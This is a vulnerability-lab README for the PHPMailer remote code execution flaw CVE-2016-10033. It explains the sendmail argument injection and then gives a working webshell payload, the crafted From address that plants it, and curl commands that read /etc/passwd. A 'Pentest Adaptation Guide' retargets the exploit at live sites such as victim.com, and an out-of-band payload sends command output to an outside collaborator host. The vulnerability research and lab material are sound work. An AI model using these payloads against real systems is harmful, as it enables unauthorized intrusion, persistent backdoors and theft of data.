All labs
CVE-2016-10033critical

PHPMailer < 5.2.18 Remote Code Execution (PwnScriptum)

PHPMailer

RCE (argument injection → webshell)

Download sandbox (9 KB)Includes Dockerfile, docker-compose, exploit, verify.sh, and this README.

CVE-2016-10033 — PHPMailer < 5.2.18 Remote Code Execution (PwnScriptum)

Overview

FieldValue
CVECVE-2016-10033
SoftwarePHPMailer
Version Tested5.2.17
Vulnerable RangePHPMailer < 5.2.18
TypeRCE (argument injection → webshell)
CVSS9.8 (Critical)
AuthenticationNot required
Discovered byDawid Golunski (legalhackers.com)

PHPMailer before 5.2.18 passes the Sender address (derived from the From field) to the system mail() call without escaping RFC-3696 quoted-string special characters. An attacker can inject arbitrary sendmail command-line arguments, including -X <path>, which causes sendmail to write its full debug transcript to a web-accessible file. Because the email body is included in that transcript, placing a PHP one-liner in the body creates a live webshell.

Quick Start

bash verify.sh

This command starts the vulnerable container, waits for Apache, fires the exploit, and prints the command execution output. No manual steps required. Allow approximately 3 minutes for sendmail to complete delivery in the lab environment.

Environment

  • Image: vulnerables/cve-2016-10033 (opsxcq/exploit-CVE-2016-10033)
  • Ports: 8080 → Apache/PHP (HTTP)
  • Webroot inside container: /www/
  • Internal SMTP stub: Python DebuggingServer on localhost:25
  • Credentials: None required
  • Setup time: ~5s for Apache, ~120s for sendmail delivery (lab quirk)
docker compose up -d        # start
docker compose logs -f      # watch logs
docker compose down         # teardown

Exploit

How It Works

Vulnerable code path

class.phpmailer.phpmailSend() method:

// $this->Sender is taken from $email->setFrom($addr) — user-supplied
$params = sprintf('-f%s', escapeshellarg($this->Sender));
mail($to, $subject, $body, $header, $params);

escapeshellarg() wraps the value in single quotes and escapes internal single quotes. However, validation is done by validateAddress() using the RFC-3696 specification, which allows spaces inside double-quoted local-parts:

"attacker\" -OQueueDirectory=/tmp -X/www/backdoor.php some"@example.com

is a syntactically valid RFC-3696 address. PHPMailer accepts it, then passes it to mail(), which calls:

/usr/sbin/sendmail -t -i -f attacker\ -OQueueDirectory=/tmp -X/www/backdoor.php some@example.com

The injected flags:

FlagEffect
-f attacker\Sets envelope sender (the \ terminates the value)
-OQueueDirectory=/tmpOverrides queue dir to a world-writable path
-X /www/backdoor.phpWrites the full SMTP debug transcript to this file

Webshell delivery

The email body is set to:

<?php echo system($_GET["cmd"]); ?>

Sendmail writes the entire SMTP session log — including the message body — to /www/backdoor.php. When Apache serves that file as PHP, the interpreter finds the <?php ... ?> tag, executes it, and returns the command output to the attacker.

Step-by-step

  1. POST / with:
    • action=submit
    • email="attacker\" -OQueueDirectory=/tmp -X/www/backdoor.php some"@example.com
    • message=<?php echo system($_GET["cmd"]); ?>
  2. PHPMailer calls mail()sendmail starts with injected -X flag
  3. Sendmail connects to local SMTP stub (port 25) and delivers; debug log → /www/backdoor.php
  4. GET /backdoor.php?cmd=iduid=33(www-data) gid=33(www-data) groups=33(www-data)

Manual Usage

# Start environment
docker compose up -d

# Wait ~5s for Apache, then run exploit
# (sendmail takes ~120s to deliver in this lab — script polls automatically)
pip install requests
python3 exploit/exploit.py --target http://localhost:8080 --cmd "id"

# Execute more commands via the dropped webshell
curl "http://localhost:8080/backdoor.php?cmd=cat+/etc/passwd"
curl "http://localhost:8080/backdoor.php?cmd=uname+-a"

Expected Output

================================================================
  CVE-2016-10033  PHPMailer < 5.2.18  RCE PoC
================================================================
[*] Target  : http://localhost:8080
[*] Payload : From = "attacker\" -OQueueDirectory=/tmp -X/www/backdoor.php some"@example.com
[*] Webshell: <?php echo system($_GET["cmd"]); ?>

[1/4] Sending exploit POST (sendmail delivery runs async)…
[2/4] Polling for backdoor (up to 150s, sendmail ~120s) ......................
      POST status: 200
[3/4] Backdoor confirmed at /backdoor.php
[4/4] Executing: id

================================================================
[+] COMMAND OUTPUT:
================================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
================================================================
[+] Exploitation SUCCESSFUL — STRONG evidence of RCE
[+] Backdoor: http://localhost:8080/backdoor.php?cmd=<command>

PHPMailer version confirmed via X-Mailer header in the sendmail debug log:

X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer)

Pentest Adaptation Guide

Target Discovery

Identify applications using vulnerable PHPMailer versions:

# Banner-grab: check X-Mailer / X-PHP-Originating-Script in email headers
# from test registrations / password resets

# Nmap service scan
nmap -sV -p 80,443,8080,8443 <target>

# Check composer.lock or vendor/ directory for PHPMailer version
curl -s https://target.com/composer.lock | python3 -m json.tool | grep -A2 phpmailer

# Detect via HTTP response headers (common in CMSes)
curl -I https://target.com/ | grep -i "x-powered-by\|x-generator"

# WordPress-based targets
curl -s https://target.com/wp-includes/PHPMailer/class-phpmailer.php | \
  grep "const VERSION\|Version ="

Common attack surfaces (all use PHPMailer internally):

  • Contact / feedback forms
  • Registration / account creation forms
  • Password reset / "forgot password" flows
  • Newsletter subscription forms
  • WordPress (wp_mail()), Joomla, Drupal email modules

Adapting the Exploit

  1. Change target URL: replace http://localhost:8080 with the real hostname/port
  2. Identify the form endpoint: may be /contact.php, /register.php, /wp-login.php, etc.
  3. Map form fields: the email / from field must map to PHPMailer's setFrom() call
  4. Adjust webroot path: change /www/backdoor.php to the real webroot (common: /var/www/html/, /var/www/, /srv/www/htdocs/)
  5. Verify file write: the -X path must be web-accessible AND writable by the web server user
  6. Authentication: if the form is behind a login, add session cookies to the requests
# Real-target adaptation (replace values):
BACKDOOR_PATH = "/var/www/html/backdoor.php"   # adjust to target webroot

crafted_from = f'"attacker\\" -OQueueDirectory=/tmp -X{BACKDOOR_PATH} some"@example.com'

requests.post("https://victim.com/contact.php", data={
    "name":    "Test",
    "email":   crafted_from,
    "message": '<?php echo system($_GET["cmd"]); ?>',
    "csrf":    csrf_token,          # add CSRF token if required
}, cookies={"session": session_id}) # add auth cookies if required

Timing Note

In real environments, the sendmail delivery time varies:

  • With a local MTA (postfix/sendmail relaying to localhost): similar ~30–120s delay
  • With isSMTP() transport: not vulnerable (exploit only works with mail() transport)
  • With direct delivery to Internet: may resolve faster if DNS works properly

Safe Verification (Non-Destructive)

To confirm the vulnerability without deploying a persistent webshell:

# Write to /tmp instead of webroot — confirms injection but no RCE
SAFE_PATH = "/tmp/cve_2016_10033_test.log"
crafted_from = f'"attacker\\" -OQueueDirectory=/tmp -X{SAFE_PATH} some"@example.com'
# Then check file existence via a separate out-of-band channel

Or use a DNS-based OOB callback:

# Inject a DNS lookup to confirm code execution without writing files
WEBSHELL = '<?php system("curl http://YOUR_BURP_COLLAB_HOST/`id`"); ?>'

Do NOT:

  • Write backdoors to production webservers without explicit scope agreement
  • Use rm -rf, passwd, or other destructive commands
  • Leave backdoors running after the assessment window closes

Evidence Collection

Capture the following for the pentest report:

  1. HTTP request (Burp Suite screenshot) showing the crafted email field
  2. HTTP response confirming the form processed successfully
  3. Webshell accessGET /backdoor.php?cmd=id response showing uid=
  4. File read — contents of /etc/passwd or /etc/hostname
  5. Version confirmationX-Mailer: PHPMailer 5.2.x from email headers
  6. Finding title: "PHPMailer Remote Code Execution (CVE-2016-10033)"
  7. CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
  8. Remediation: Upgrade PHPMailer to ≥ 5.2.20 (5.2.18/5.2.19 are insufficient — see CVE-2016-10045)

References